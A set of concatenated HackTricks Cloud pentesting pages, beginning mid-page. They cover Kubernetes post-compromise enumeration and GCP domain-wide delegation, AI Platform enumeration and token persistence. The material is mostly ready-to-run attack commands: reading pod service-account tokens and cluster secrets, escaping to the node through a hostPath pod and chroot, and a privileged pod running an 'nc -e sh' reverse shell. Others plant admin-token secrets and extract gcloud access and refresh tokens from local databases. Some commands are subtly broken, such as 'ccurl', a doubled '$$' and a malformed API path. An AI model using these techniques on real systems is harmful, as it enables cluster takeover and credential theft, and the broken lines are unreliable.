`kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get` From inside a pod you can use several env variables: bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. warning By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint). Having the token and the address of the API server you use kubectl or curl to access it as indicated here: By default, The APISERVER is communicating with `https://` schema bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces > if no `https://` in url, you may get Error Like Bad Request. You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) . The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to. To find the HTTP request that `kubectl` sends you can use the parameter `-v=8` bash # Launch burp # Set proxy export HTTP_PROXY=http://localhost:8080 export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true bash kubectl config get-users kubectl config get-contexts kubectl config get-clusters kubectl config current-context # Change namespace kubectl config set-context --current --namespace= If you managed to steal some users credentials you can **configure them locally** using something like: bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ --auth-provider-arg=idp-issuer-url=( issuer url ) \ --auth-provider-arg=client-id=( your client id ) \ --auth-provider-arg=client-secret=( your client secret ) \ --auth-provider-arg=refresh-token=( your refresh token ) \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) With this info you will know all the services you can list bash k api-resources --namespaced=true #Resources specific to a namespace k api-resources --namespaced=false #Resources NOT specific to a namespace bash k auth can-i --list #Get privileges in general k auth can-i --list -n custnamespace #Get privileves in custnamespace # Get service account permissions k auth can-i --list --as=system:serviceaccount:: -n bash kurl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' \ --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \ "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" Another way to check your privileges is using the tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess) \*\*\*\* You can learn more about **Kubernetes RBAC** in: [Kubernetes Role-Based Access Control(RBAC)](kubernetes-role-based-access-control-rbac.html) **Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges: [Abusing Roles/ClusterRoles in Kubernetes](abusing-roles-clusterroles-in-kubernetes/index.html) bash k get roles k get clusterroles bash kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. bash k get namespaces bash kurl -k -v https://$APISERVER/api/v1/namespaces/ bash k get secrets -o yaml k get secrets -o yaml -n custnamespace bash kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ If you can read secrets you can use the following lines to get the privileges related to each to token: bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges. bash k get serviceaccounts bash kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts The deployments specify the **components** that need to be **run**. bash k get deployments k get deployments -n custnamespace bash kurl -v https://$APISERVER/api/v1/namespaces//deployments/ The Pods are the actual **containers** that will **run**. bash k get pods k get pods -n custnamespace bash kurl -v https://$APISERVER/api/v1/namespaces//pods/ Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack. bash k get services k get services -n custnamespace bash kurl -v https://$APISERVER/api/v1/namespaces/default/services/ Get all the **nodes configured inside the cluster**. bash k get nodes bash kurl -v https://$APISERVER/api/v1/nodes/ **DaeamonSets** allows to ensure that a **specific pod is running in all the nodes** of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed. bash k get daemonsets bash kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action. bash k get cronjobs bash kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service. bash k get configmaps # -n namespace bash kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps bash k get networkpolicies k get CiliumNetworkPolicies k get CiliumClusterwideNetworkPolicies bash k get all bash k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' bash k top pod --all-namespaces Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**. If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes. bash kubectl get pod [-n ] -o yaml > if you need create pod on the specific node, you can use following command to get labels on node > > `k get nodes --show-labels` > > Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select. Then you create your attack.yaml file yaml apiVersion: v1 kind: Pod metadata: labels: run: attacker-pod name: attacker-pod namespace: default spec: volumes: - name: host-fs hostPath: path: / containers: - image: ubuntu imagePullPolicy: Always name: attacker-pod command: ["/bin/sh", "-c", "sleep infinity"] volumeMounts: - name: host-fs mountPath: /root restartPolicy: Never # nodeName and nodeSelector enable one of them when you need to create pod on the specific node #nodeName: master #nodeSelector: # kubernetes.io/hostname: master # or using # node-role.kubernetes.io/master: "" [original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) After that you create the pod bash kubectl apply -f attacker.yaml [-n ] Now you can switch to the created pod as follows bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file And finally you chroot into the node's system bash chroot /root /bin/bash Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) The corresponding yaml file is as follows: yaml apiVersion: v1 kind: Pod metadata: name: everything-allowed-exec-pod labels: app: pentest spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: everything-allowed-pod image: alpine securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "nc -e sh" ] #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name volumes: - name: noderoot hostPath: path: / Create the pod with curl: bash CONTROL_PLANE_HOST="" TOKEN="" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 478' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" Delete a pod with curl: bash CONTROL_PLANE_HOST="" TOKEN="" POD_NAME="everything-allowed-exec-pod" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Length: 109' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" bash CONTROL_PLANE_HOST="" TOKEN="" SA_NAME="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'Accept: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 203' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" ROLE_NAME="" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 816' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" ROLE_BINDING_NAME="" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 219' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" SECRET_NAME="" ccurl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'Accept: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" [Kubernetes Pentest Methodology Part 3](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Understanding Domain-Wide Delegation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 4 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. This post is the introduction of [https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover](https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover) which can be accessed for more details. Google Workspace's Domain-Wide delegation allows an identity object, either an **external app** from Google Workspace Marketplace or an internal **GCP Service Account**, to **access data across the Workspace on behalf of users**. This feature, which is crucial for apps interacting with Google APIs or services needing user impersonation, enhances efficiency and minimizes human error by automating tasks. Using OAuth 2.0, app developers and administrators can give these service accounts access to user data without individual user consent. Google Workspace allows the creation of two main types of global delegated object identities: * **GWS Applications:** Applications from the Workspace Marketplace can be set up as a delegated identity. Before being made available in the marketplace, each Workspace application undergoes a review by Google to minimize potential misuse. While this does not entirely eliminate the risk of abuse, it significantly increases the difficulty for such incidents to occur. * **GCP Service Account:** Learn more about [**GCP Service Accounts here**](../gcp-basic-information/index.html#service-accounts) . This is how a GCP Service Account can access Google APIs on behalf of other identities in Google Workspace: ![](../../../images/image (58).png) 1. **Identity creates a JWT:** The Identity uses the service account's private key (part of the JSON key pair file) to sign a JWT. This JWT contains claims about the service account, the target user to impersonate, and the OAuth scopes of access to the REST API which is being requested. 2. **The Identity uses the JWT to request an access token:** The application/user uses the JWT to request an access token from Google's OAuth 2.0 service. The request also includes the target user to impersonate (the user's Workspace email), and the scopes for which access is requested. 3. **Google's OAuth 2.0 service returns an access token:** The access token represents the service account's authority to act on behalf of the user for the specified scopes. This token is typically short-lived and must be refreshed periodically (per the application's need). It's essential to understand that the OAuth scopes specified in the JWT token have validity and impact on the resultant access token. For instance, access tokens possessing multiple scopes will hold validity for numerous REST API applications. 4. **The Identity uses the access token to call Google APIs**: Now with a relevant access token, the service can access the required REST API. The application uses this access token in the "Authorization" header of its HTTP requests destined for Google APIs. These APIs utilize the token to verify the impersonated identity and confirm it has the necessary authorization. 5. **Google APIs return the requested data**: If the access token is valid and the service account has appropriate authorization, the Google APIs return the requested data. For example, in the following picture, we’ve leveraged the _users.messages.list_ method to list all the Gmail message IDs associated with a target Workspace user. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - AI Platform Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. [AI Platform](https://cloud.google.com/sdk/gcloud/reference/ai-platform/) [](#reviewing-ai-platform-configurations) -------------------------------------------------------------------------------------------------------------------- Google [**AI Platform**](https://cloud.google.com/ai-platform/) is another "**serverless**" offering for **machine learning projects**. There are a few areas here you can look for interesting information like models and jobs. bash # Models gcloud ai-platform models list gcloud ai-platform models describe gcloud ai-platform models get-iam-policy # Jobs gcloud ai-platform jobs list gcloud ai-platform jobs describe tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Token Persistence - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 5 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. To get the **current token** of a user you can run: bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" Check in this page how to **directly use this token using gcloud**: [Cloud SSRF - HackTricks](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp) To get the details to **generate a new access token** run: bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**. To get a new refreshed access token with the **refresh token**, client ID, and client secret run: bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire: ![](../../../images/image (11).png) The authentication flow when using something like `gcloud auth login` will open a prompt in the browser and after accepting all the scopes the browser will send a request such as this one to the http port open by the tool: /?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1 Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**. caution Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file. You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing: bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script: bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done After executing it it was checked that this app supports these scopes: https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/bigquery https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/devstorage.full_control https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/userinfo.email it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope. **Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud) **.** Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**. However, if you steal the **OAuth token** of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the **victim deletes the private api key, the OAuh token will still be valid until it expires**. Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes). Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) * 